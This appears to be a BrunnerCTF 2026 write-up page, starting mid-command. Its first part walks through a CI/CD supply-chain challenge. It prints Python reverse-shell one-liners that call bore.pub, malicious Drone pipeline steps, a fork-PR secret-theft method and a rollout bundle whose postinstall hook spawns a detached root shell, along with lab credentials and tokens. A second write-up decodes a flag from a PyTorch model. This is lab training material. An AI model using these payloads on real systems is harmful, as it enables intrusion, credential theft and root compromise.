  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'

That returned two repos brunner_dev could see:

brunner_ops/ci-bootstrap (Shell)
brunner_admin/hello-drone (Python, has a .drone.yml pipeline)

Stage 1 - Flow

Finding a second credential in git history

ci-bootstrap's repo page showed only 2 commits, and the current one was titled "read the ci password from the environment" - that phrasing alone is a strong tell that something got refactored out of hardcoded plaintext and into an env var, which usually means the plaintext value is still sitting in the previous commit. Pulling the commit list confirmed there were exactly two commits to check:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/ci-bootstrap/commits?limit=10' | jq '.[] | {sha, message: .commit.message}'

Rather than clone the whole repo just to diff two commits, Gitea serves unified diffs directly at /commit/<sha>.diff over HTTP, so the fastest path was just fetching that:

curl -s -u brunner_dev:dev_go_brr \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ops/ci-bootstrap/commit/ec5ccfcb240129041410db0e12b50b9e8a9245e6.diff'

The diff showed exactly what the commit message implied - a plaintext GITEA_PASSWORD for a CI service account, replaced in this same commit with an env-var reference, meaning the plaintext value only ever existed in the parent commit and was never actually rotated:

GITEA_USER=brunner_ci
GITEA_PASSWORD=9d41c07be5a8426fa3c15b2e70f8d63a

Privilege check

With the new credential in hand, the same repos/search trick was run again, this time authenticated as brunner_ci, to see what changed:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a \
  'https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/search?limit=50' | jq '.data[] | {full_name, private}'

brunner_ci could now see one additional, private repo - brunner_ops/deploy-tools - on top of the same two public ones brunner_dev had access to. That confirmed brunner_ci had push access on the public hello-drone repo (which has an active Drone pipeline) and at least pull access on the private deploy-tools.

CI pipeline abuse -> shell

hello-drone's .drone.yml ran on every push with no review gate:

kind: pipeline
type: exec
name: default
platform:
  os: linux
  arch: amd64
steps:
  - name: test
    commands:
      - python -m unittest discover -v
  - name: build
    commands:
      - python app.py
  - name: report
    commands:
      - echo "build ${DRONE_BUILD_NUMBER} of ${DRONE_REPO} on ${DRONE_COMMIT_BRANCH} succeeded"

type: exec pipelines run raw shell commands directly on the runner host - no container isolation. The app.py in the repo itself was a harmless fizzbuzz sample, so the actual payload was smuggling a new step into the pipeline config. The first attempt at a reverse shell used bash's /dev/tcp/... pseudo-device, which is a common one-liner but assumes bash is actually the shell running the step - it failed here because the runner's sh resolves to dash, which doesn't implement that construct:

line 5: can't create /dev/tcp/bore.pub/54872: nonexistent directory

Since the build step already proved python/python3 was available on the runner, switching to a Python socket one-liner sidestepped the shell-dialect problem entirely:

  - name: shell
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

Pushing that as brunner_ci (who had push access to hello-drone) triggered a build automatically:

git add .drone.yml
git commit -m "python reverse shell"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_admin/hello-drone.git main

The listener caught a shell as drone (uid 1000):

id
uid=1000(drone) gid=1000(drone) groups=1000(drone)

The flag for this stage sat directly in the CI user's home directory:

cat /home/drone/flag.txt

brunner{4ch13v3_4bs0lut3_fl0w_st4t3}

Stage 2 - Feedback / Continuous Improvement

The target: an unsigned autonomous rollout agent

Enumerating the box from the drone shell turned up /usr/local/bin/rollout-agent.py, running as PID 28 under root. It was world-readable, so reading the source directly showed its full logic:

Polls a Gitea generic package registry (brunner_registry/rollout-bundle) every 30 seconds
Picks the highest version number it hasn't already installed (newest() does numeric-chunk comparison, so 2.0.0 beats 1.10.0 correctly rather than comparing as strings)
Downloads the tarball, extracts it, and validates it against three checks only:
1. manifest.json package/version fields match
2. Every shipped file appears in a SHA256SUMS file with a matching hash - self-generated by whoever uploads the bundle, so trivially satisfiable by anyone with upload access
3. No symlinks, no path traversal
Runs hooks/postinstall from the bundle as root, with a 60-second timeout
No signature verification anywhere in the chain

The challenge description spells this out directly: "it's tireless, it's trusting and it runs with the utmost privilege... signing artifacts... added that to the backlog."

/etc/platform/registry.conf was also world-readable and gave the registry endpoint and org name. /etc/platform/rollout.conf - the file actually holding the REGISTRY_USER/REGISTRY_PASSWORD the agent authenticates with - was locked to 600 root:root, so it wasn't reachable from the drone shell.

Getting registry write access

Neither brunner_dev nor brunner_ci had package-write on the brunner_registry org - every upload attempt came back with reqPackageAccess, tried both with basic-auth and with a freshly minted API token, ruling out a token-scope problem and pointing at org membership itself being the blocker.

The deploy-tools repo's README (readable via the brunner_ci pull-only clone) spelled out the intended path:

Tooling for building and verifying rollout bundles. Read-only members can open pull requests.

Gitea allows forking and opening a pull request even with pull-only access on the base repo. Combined with the fact that Drone injects the target repo's secrets into PR-triggered builds - even when the PR originates from a fork with no push access to the base repo - that's a way to get a CI job to run with deploy-tools's secrets using only pull rights:

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/forks"

git clone https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git
cd deploy-tools && git checkout -b pwn

The verify-release step in .drone.yml was the one scoped with REGISTRY_TOKEN: from_secret: registry_token, so that's the step whose command got swapped for the same reverse-shell one-liner from Stage 1, just on a fresh listener port:

  - name: verify-release
    environment:
      REGISTRY_TOKEN:
        from_secret: registry_token
    commands:
      - python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

git add .drone.yml && git commit -m "test release verification"
git push https://brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a@gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/brunner_ci/deploy-tools.git pwn

curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a -X POST \
  -H "Content-Type: application/json" \
  -d '{"head":"brunner_ci:pwn","base":"main","title":"test release verification"}' \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/v1/repos/brunner_ops/deploy-tools/pulls"

Opening the PR triggered a Drone build against the base repo. The catch showed up in the listener, and critically, dumping the process environment inside that reverse shell showed the secret sitting in the clear:

DRONE_BUILD_EVENT=pull_request
DRONE_COMMIT_REF=refs/pull/2/head
REGISTRY_TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23

The challenge description's claim that "our logs are appropriately redacted" only holds for literal string matches in captured stdout - Drone's log masking replaces known secret values with *** when they appear verbatim in the build's logged output. A reverse shell session bypasses that pipeline completely, since nothing about an interactive shell session gets routed through Drone's log capture - the token was visible directly in the process environment rather than ever being scrubbed.

Building and uploading a malicious bundle

With REGISTRY_TOKEN in hand, the next step was assembling a bundle that would pass rollout-agent.py's validation, matching the same directory structure make-bundle.sh in deploy-tools produces (manifest, hooks directory, self-generated SHA256SUMS):

mkdir -p /tmp/evilsrc/hooks
cat > /tmp/evilsrc/hooks/postinstall << 'EOF'
#!/bin/sh
setsid python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("bore.pub",<PORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])' < /dev/null > /dev/null 2>&1 &
disown
exit 0
EOF
chmod +x /tmp/evilsrc/hooks/postinstall

WORK=$(mktemp -d)
mkdir -p "$WORK/bundle/hooks"
cp /tmp/evilsrc/hooks/postinstall "$WORK/bundle/hooks/"

cat > "$WORK/bundle/manifest.json" << 'EOF'
{
  "package": "rollout-bundle",
  "version": "2.6.0",
  "hooks": { "postinstall": "hooks/postinstall" }
}
EOF

( cd "$WORK/bundle" && find . -type f -exec sha256sum {} \; | sort -k2 ) > "$WORK/bundle/SHA256SUMS"

tar -czf /tmp/dist/rollout-bundle-2.6.0.tar.gz -C "$WORK" bundle

curl -s -H "Authorization: token $REGISTRY_TOKEN" \
  --upload-file /tmp/dist/rollout-bundle-2.6.0.tar.gz \
  "https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz/api/packages/brunner_registry/generic/rollout-bundle/2.6.0/rollout-bundle-2.6.0.tar.gz"

The first attempt (uploaded as version 2.5.0) failed silently after 60 seconds. The hook ran an interactive reverse shell directly in the foreground of the hook script, which meant the hook script's own process never returned - it just sat blocked on the shell. rollout-agent.py enforces a HOOK_TIMEOUT = 60, so once that window passed the agent killed the whole process tree, shell included, before it could be used for anything:

2026-08-23T05:43:39Z postinstall for 2.5.0 timed out after 60s

The fix was detaching the reverse shell from the hook script entirely: setsid ... & starts it in a new session so it isn't a child the parent waits on, disown removes it from the parent shell's job table, redirecting stdin/stdout/stderr away from the parent stops the hook from blocking on those file descriptors either, and an immediate exit 0 lets the hook script itself return cleanly well inside the 60-second window - the backgrounded shell just keeps running on its own after the hook process (and the agent's wait on it) has already finished.

Root

The agent picked up 2.6.0 on its next 30-second poll, validated the self-generated checksums (which will always pass, since nothing checks who generated them), and ran the hook as root:

id
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

cat /root/flag.txt

brunner{w4k3_up_n3w_supply_ch41n_4tt4ck_ju5t_dr0pp3d}

Bonus: a third flag hidden in the package registry's version history

After landing root, I went back and did a sweep for anything left over - old build logs, prior package versions, other endpoints - on the theory that a challenge built this deliberately around CI/CD supply-chain weaknesses might have planted something extra in the history rather than just the final state. This wasn't part of the intended privilege chain; it just seemed worth checking given how much of the challenge revolved around things surviving in history that were supposed to be gone (the git-history password being the obvious precedent).

The Gitea session used earlier for the login-form flow had gone stale, so the first block just re-establishes both a Gitea session cookie (needed for some UI-only Drone SSO flow) and a separate Drone session, chaining the Gitea login redirect into Drone's OAuth-style login:

TOKEN=9c755b4dffa13f7bb23500a1f9cef6cdd656fb23
GITEA=https://gitea-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz
DRONE=https://drone-the-three-ways-flow-ccc62ed3fd2916c7-global.challs.brunnerne.xyz

# Refresh drone session
rm -f /tmp/cj.txt /tmp/cj2.txt
curl -s -c /tmp/cj.txt "$GITEA/user/login" -o /tmp/lp.html
CSRF=$(python3 -c "import re; print(re.search(r'name=\"_csrf\" value=\"([^\"]+)\"', open('/tmp/lp.html').read()).group(1))")
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -L -d "_csrf=$CSRF&user_name=brunner_ci&password=9d41c07be5a8426fa3c15b2e70f8d63a" "$GITEA/user/login" -o /dev/null
curl -s -b /tmp/cj.txt -c /tmp/cj2.txt -D /tmp/h1.txt -o /dev/null "$DRONE/login"
LOC1=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h1.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj.txt -c /tmp/cj.txt -D /tmp/h2.txt -o /dev/null "$LOC1"
LOC2=$(awk 'tolower($1)=="location:"{print $2}' /tmp/h2.txt | tr -d '\r' | tail -1)
curl -s -b /tmp/cj2.txt -c /tmp/cj2.txt -L -o /dev/null "$LOC2"

Drone's session cookie only gets set at the end of that OAuth-style redirect chain, so each Location: header has to be followed by hand into the next request rather than just letting -L auto-follow, because the intermediate hops need the Gitea cookie jar and the final hop needs the Drone cookie jar - mixing them up meant getting bounced back to a login page instead of an authenticated session.

With a working Drone session, the next block walks every build on every repo that had ever run a pipeline, and for each build, tries fetching the logs of each of the first six steps, grepping for anything matching the flag format:

echo '=== drone builds all logs grep ==='
for repo in brunner_ops/deploy-tools brunner_admin/hello-drone brunner_ci/deploy-tools; do
  builds=$(curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds" 2>/dev/null)
  echo "REPO $repo: $(echo "$builds" | head -c 80)"
  nums=$(echo "$builds" | python3 -c 'import sys,json
try:
 d=json.load(sys.stdin)
 print(" ".join(str(b["number"]) for b in d[:15]))
except: pass' 2>/dev/null)
  for n in $nums; do
    for s in 1 2 3 4 5 6; do
      curl -s -b /tmp/cj2.txt "$DRONE/api/repos/$repo/builds/$n/logs/1/$s" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HIT $repo build $n step $s: $f"; done
    done
  done
done

That came back empty - brunner_ci/deploy-tools (the forked copy) wasn't even registered as a repo in Drone (Not Found), and no build log on the other two repos contained a flag. That ruled out the build-log angle entirely and pointed the search toward the package registry itself, since rollout-agent.py had been pulling numbered versions from brunner_registry/rollout-bundle the whole time and I'd only ever uploaded and inspected 2.6.0. It seemed reasonable that earlier versions in that same package history - version numbers the agent had presumably cycled through before I ever got registry access - might have something stashed inside them from whoever set up the challenge:

The version list here (1.4.0 through 2.5.0) was just a guess at a plausible release cadence rather than anything discovered - the agent's own newest() logic and the versions already seen (2.5.0 was the one that hit the hook timeout, 2.6.0 was the one that finally worked) suggested the registry had been seeded with a handful of prior releases before I ever touched it. Each version was checked individually - download the tarball, confirm it's actually valid gzip (a 404 for a version that never existed comes back as an error body, not a tarball, and tar -tzf fails cleanly on that rather than choking), then extract and grep for anything matching the flag format:

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.0/rollout-bundle-1.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.4.2/rollout-bundle-1.4.2.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/1.5.0/rollout-bundle-1.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.0.0/rollout-bundle-2.0.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.1.0/rollout-bundle-2.1.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.2.0/rollout-bundle-2.2.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.3.0/rollout-bundle-2.3.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.4.0/rollout-bundle-2.4.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

curl -s -H "Authorization: token $TOKEN" -o /tmp/pkg.tgz \
  "$GITEA/api/packages/brunner_registry/generic/rollout-bundle/2.5.0/rollout-bundle-2.5.0.tar.gz"
tar -tzf /tmp/pkg.tgz && mkdir -p /tmp/pkgextract && rm -rf /tmp/pkgextract/* && tar -xzf /tmp/pkg.tgz -C /tmp/pkgextract && grep -raoE 'brunner\{[^}]+\}' /tmp/pkgextract

Every version came back empty except 1.4.2 - a version that had never come up anywhere in the main chain, meaning it must have been part of the environment's seeded history rather than anything either the agent or I had uploaded:

PKG 1.4.2: /tmp/pkgextract/bundle/config/deploy.env:brunner{n0_s3cr3t5_4r3_t00_s3cr3t_f0r_u}

The last block was just closing out the sweep - checking a few obvious Gitea API/static paths and re-fetching a handful of HTML pages for anything that looked like a flag pattern, mostly to make sure nothing else was sitting in plain sight before calling the search done:

echo '=== gitea API search various endpoints ==='
for path in \
  '/api/v1/version' \
  '/api/v1/user' \
  '/assets/licenses.txt' \
  '/api/swagger'
 do
  curl -s -H "Authorization: token $TOKEN" "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | head
done

for path in '/' '/explore/repos' '/brunner_ops/deploy-tools' '/brunner_admin/hello-drone'; do
  curl -s -u brunner_ci:9d41c07be5a8426fa3c15b2e70f8d63a "$GITEA$path" 2>/dev/null | grep -oE 'brunner\{[^}]+\}' | while read f; do echo "HTML $path: $f"; done
done

Those came back empty, confirming the 1.4.2 bundle was the only extra flag sitting in the environment. Its content (no_secrets_are_too_secret_for_u) reads as a wink at the whole registry-history angle - the same "old versions never really go away" theme as the git-history credential from Stage 1, just relocated to the package registry instead of git.

Full chain summary

Onboarding note leaked plaintext creds -> brunner_dev
Secret left in old git commit, never rotated after being "fixed" -> brunner_ci, with push on hello-drone
hello-drone's Drone pipeline ran unreviewed code on every push -> shell as drone on the CI runner
rollout-agent.py on that host polls a package registry every 30s and runs postinstall as root, with no signature check - only a self-generated SHA256SUMS
Direct registry package-write was blocked for every available account
deploy-tools's README pointed at the intended bypass: forking with pull-only access, then opening a PR - Drone injects the target repo's secrets into fork-originated PR builds
Captured REGISTRY_TOKEN live from the PR build's process environment (bypassing Drone's literal-string log redaction) and, as a bonus, landed a second shell running as root directly inside that build step
Used the token to upload a malicious rollout-bundle version; first hook attempt died to the agent's 60-second timeout because the shell blocked the hook process from exiting - fixed by detaching with setsid + disown + immediate exit 0
Agent installed the new version on its next poll and ran the detached hook as root -> /root/flag.txt
Post-root sweep of Drone build logs and earlier package registry versions turned up a bonus flag stashed in rollout-bundle version 1.4.2, a version never touched during the main chain

Root cause and lessons

Plaintext secrets in onboarding docs and git history. A secret "removed" from HEAD is not removed - old commits remain fully reachable unless history is rewritten and force-pushed, and even then, prior clones or forks retain the blob.
CI pipelines that run arbitrary code on push with no review are equivalent to granting whoever can push the same privilege as whoever runs the CI system. brunner_ci's narrow, intentional scope (push to one low-value repo) was irrelevant once that repo's pipeline executed as a trusted CI identity.
Fork-and-PR secret injection is a well-known Drone/GitHub-Actions-class footgun. Base-repo secrets should never be exposed to pipelines triggered by external, unreviewed pull requests without an explicit approval gate.
An autonomous deployment agent with root privilege and no artifact signing is a complete bypass of every access control layered in front of it. Every credential boundary earlier in the chain (brunner_dev -> brunner_ci -> registry org membership) existed for nothing once a self-generated checksum was the only integrity check standing between an attacker-controlled tarball and root execution.
Old package versions in a registry are just as much a liability as old git commits. The bonus flag in 1.4.2 was a direct reminder that "current state looks clean" doesn't mean the history behind it does - anything ever uploaded to a registry with no retention or access policy is still fetchable by anyone with read access, indefinitely.

BrunnerCTF 2026 : Activating Neurons Writeup

Yogeshwar Peela — Sun, 23 Aug 2026 15:46:18 +0000

Summary

The challenge ships a single file, activating_neurons.py, defining a small
nn.Module called BrunsvigerNet. The model has two linear layers, but
forward() only runs the input through the first layer before returning -
the second layer, which holds all the pre-trained weights, is never called.
Because the dummy input is a zero vector, the first layer's untrained random
weight matrix contributes nothing, leaving a fixed, deterministic bias
vector. Restoring the missing call to the second layer feeds that vector
through the pre-trained weights and produces 70 output values that decode
directly to ASCII, spelling out the flag.

1. Recon - reading the model definition

cat activating_neurons.py

Key structure:

class BrunsvigerNet(nn.Module):
    def __init__(self):
        super().__init__()
        self.input_layer  = nn.Linear(4, 4)
        self.hidden_layer = nn.Linear(4, 70)

        # Only the bias of input_layer and the weight+bias of
        # hidden_layer are explicitly set. input_layer.weight is
        # left at its random default init.
        self.input_layer.bias    = nn.Parameter(torch.tensor([-0.797, -0.047, 0.527, 1.965]))
        self.hidden_layer.weight = nn.Parameter(torch.tensor([...70 rows of 4 floats...]))
        self.hidden_layer.bias   = nn.Parameter(torch.tensor([...70 floats, mostly 35-125...]))

    def forward(self, x):
        x = self.input_layer(x)
        # Something seems to be missing?
        return x

Two details stand out immediately:

hidden_layer has 70 outputs and a bias vector whose values (roughly 35-125) sit squarely in the printable ASCII range. input_layer's bias only has 4 values and is nowhere near that range. This is a strong hint that the flag lives in hidden_layer's output, not input_layer's.
The comment # Something seems to be missing? sits exactly where a call to hidden_layer should be. forward() never uses hidden_layer at all, so as written, the model is "completely passive and linear" - it just applies one affine transform and stops.

2. Working out why the input doesn't matter

dummy_input = torch.zeros(4)

input_layer.weight was never explicitly set, so PyTorch left it at its
random default initialization - normally that would make the output
non-deterministic. But the driver script always calls the model with a zero
vector:

input_layer(x) = input_layer.weight @ x + input_layer.bias
                = input_layer.weight @ 0 + input_layer.bias
                = input_layer.bias

The random weight matrix gets multiplied by zero and drops out entirely.
Whatever input_layer(dummy_input) produces is just the fixed bias vector
[-0.797, -0.047, 0.527, 1.965], regardless of the random init. This makes
the rest of the computation fully deterministic even though one layer's
weights were never pinned down.

3. Patching the model

The fix is a one-line addition to forward(), restoring the call to
hidden_layer:

def forward(self, x):
    x = self.input_layer(x)
    x = self.hidden_layer(x)   # <-- restored
    return x

With this in place, the fixed 4-value output of input_layer is projected
through hidden_layer's pre-trained 70x4 weight matrix and offset by its
bias, giving 70 deterministic float outputs.

4. Decoding the output

The existing decode logic in the script does the rest - round each output
to the nearest integer and treat it as a Unicode code point:

with torch.no_grad():
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
    print(f"[+] Output: {flag}")

$ python3 activating_neurons_fixed.py
[+] Output: brunner{ml_c4n_b3_fun_th3_m05t_1mp0rt4nt_1ngr3d13nt_15_l0v3_4nd_5ug4r}

Full patched script

import torch
import torch.nn as nn
import torch.nn.functional as F

class BrunsvigerNet(nn.Module):
    def __init__(self):
        super().__init__()
        self.input_layer = nn.Linear(4, 4)
        self.hidden_layer = nn.Linear(4, 70)

        self.input_layer.bias = nn.Parameter(torch.tensor([-0.797, -0.047, 0.527, 1.965]))
        self.hidden_layer.weight = nn.Parameter(torch.tensor([[-4.39, -2.423, -1.867, -1.904], [1.353, -0.14, -1.779, -4.539], [2.281, -2.412, -1.322, 0.744], [-3.722, -1.752, -0.022, -3.183], [-2.911, 0.174, 0.565, -4.052], [4.878, 1.219, -2.58, -3.097], [-0.069, -1.732, -4.861, -4.858], [-0.969, 3.21, 2.105, 0.866], [0.417, 4.577, 1.644, 0.429], [-1.569, -4.538, -2.854, 1.111], [4.325, 2.35, 2.515, 0.64], [1.888, -3.13, -1.799, 2.074], [-2.475, -2.086, -1.14, -3.35], [2.057, -3.601, -4.482, -0.609], [1.932, -1.995, 1.549, 4.417], [-1.827, 4.91, -3.891, -0.415], [-0.118, -3.945, 0.162, -4.841], [-2.268, -2.489, 1.48, -1.604], [4.132, 0.383, 0.343, 3.892], [3.035, 4.214, -2.314, -2.049], [4.254, 0.817, 1.833, -0.558], [4.541, 2.546, 2.009, -2.498], [-1.792, -0.393, -3.151, 0.826], [1.283, 0.606, -1.593, -0.719], [-4.634, -0.794, 2.015, -0.929], [3.41, -0.978, -3.722, 0.468], [-1.268, 3.495, -3.803, 3.39], [-2.066, 0.186, -1.032, -0.416], [4.403, 2.929, 4.3, -3.7], [-2.59, 3.617, -0.043, -0.883], [1.154, -2.86, -0.17, 3.609], [-3.072, 1.273, -0.161, 2.205], [0.379, -1.633, 3.722, -3.587], [2.007, -1.652, -1.695, 0.465], [-4.604, -3.688, 4.422, 3.472], [0.197, -0.993, -4.595, 4.734], [-3.434, -4.237, -4.243, 3.235], [3.894, -3.769, 1.402, 3.643], [1.968, -0.144, 1.857, 0.7], [1.691, -2.967, -4.05, -2.571], [4.895, -3.5, -0.629, -0.15], [-2.357, -1.781, -4.421, -0.665], [-2.088, 0.465, 1.621, -4.975], [2.726, 4.976, -1.18, -4.023], [4.693, -2.901, -2.351, -1.66], [-0.295, -4.371, 4.282, 3.575], [-3.862, -2.341, 2.797, 0.406], [3.652, -1.441, 0.22, 0.786], [-4.659, -0.073, -0.502, -3.23], [-4.216, -1.045, -1.222, -4.161], [0.265, -4.894, 0.172, -1.409], [-2.073, -3.28, 0.749, -3.344], [-2.543, 2.4, -3.346, 1.413], [4.685, 4.291, -4.936, -0.571], [2.029, 3.904, 4.232, -1.808], [-4.278, -3.547, 0.927, -1.0], [-4.274, 2.469, 4.981, -1.513], [-2.374, 4.603, -2.192, -3.001], [-1.222, -2.382, 3.372, -3.695], [0.924, -3.743, -1.743, 1.862], [-2.303, -3.936, 2.809, 0.191], [-0.839, -3.08, -1.847, 1.234], [-2.654, 1.084, -0.325, 1.65], [0.39, 4.978, 3.792, -0.999], [4.583, 4.91, 3.66, -2.061], [-0.436, 0.846, -1.334, -1.999], [-1.104, -0.372, -3.081, 1.422], [-2.045, 3.593, -2.272, 3.4], [1.881, 1.313, -3.93, -3.481], [3.875, -4.237, 4.047, 0.312]]))
        self.hidden_layer.bias = nn.Parameter(torch.tensor([99.112558, 124.928429, 117.939327, 113.217411, 115.352536, 112.390324, 125.97132, 119.567552, 107.838095, 105.857164, 95.97447, 97.230289, 57.112913, 115.028881, 86.950311, 99.640683, 60.14773, 95.447321, 97.482664, 124.862716, 113.559316, 102.588666, 114.590792, 107.303379, 48.032964, 98.713678, 103.4965, 47.723444, 61.651254, 115.863525, 88.78322299999999, 42.363469, 114.312273, 113.501475, 35.004402, 107.229593, 108.943249, 47.029026, 109.207589, 124.394643, 99.363048, 50.674356, 117.279327, 113.933549, 122.104851, 41.277958999999996, 94.54015, 50.182487, 53.89485, 115.411092, 118.659228, 99.369896, 46.072826, 60.658909, 98.123057, 105.900196, 45.057723, 123.376412, 55.397743, 92.820238, 48.123859, 107.735116, 94.864735, 95.509447, 59.004466, 121.323323, 100.932085, 45.05535, 124.472143, 125.143387], dtype=torch.float32))

    def forward(self, x):
        x = self.input_layer(x)
        # Fixed: the missing hidden layer activation
        x = self.hidden_layer(x)
        return x

model = BrunsvigerNet()
model.eval()

dummy_input = torch.zeros(4)

with torch.no_grad():
    output = model(dummy_input)
    flag = "".join([chr(int(round(val.item()))) for val in output])
    print(f"[+] Output: {flag}")

Key Vulnerabilities / Design Weaknesses

#	Weakness	Impact
1	`forward()` skips the layer holding the actual secret	Model output is meaningless until the missing layer call is restored
2	`input_layer.weight` left at random init	Normally non-deterministic, but neutralized by the always-zero dummy input, making the "secret" fully recoverable with static analysis alone
3	Secret encoded as raw ASCII via `chr(round(x))`	Once the correct layer is invoked, no further cryptography protects the output

Attack Chain

+----------------------------+
| Read model source           |
| (weights/biases in plain    |
| text, forward() incomplete) |
+--------------+---------------+
               |
               v
+----------------------------+
| Notice hidden_layer.bias    |
| values fall in ASCII range  |
| (35-125) -> secret lives    |
| in hidden_layer output      |
+--------------+---------------+
               |
               v
+----------------------------+
| Confirm dummy_input=zeros   |
| nulls out input_layer's     |
| random weight, leaving a    |
| fixed bias vector           |
+--------------+---------------+
               |
               v
+----------------------------+
| Patch forward():            |
| add x = hidden_layer(x)     |
+--------------+---------------+
               |
               v
+----------------------------+
| Run model, round outputs,   |
| chr() each value            |
+--------------+---------------+
               |
               v
+----------------------------+
| Flag recovered              |
+----------------------------+

Mitigations (if this were a real system rather than a CTF)

Never ship pre-trained weights or biases in plaintext source alongside the inference code; store them in a separate artifact with access controls.
Don't rely on an incomplete forward() pass as an obfuscation mechanism - it's trivially fixed by anyone who can read the class definition.
If a value truly needs to stay secret, encrypt or hash it rather than encoding it as reversible ASCII code points in model parameters.
Avoid always calling inference with a fixed, predictable input (e.g. an all-zero vector) if any part of the security model depends on the input actually varying.

Files

activating_neurons.py - original challenge file
activating_neurons_fixed.py - patched version with the restored hidden_layer call in forward()

BrunnerCTF : Git Gud Writeup (2026)

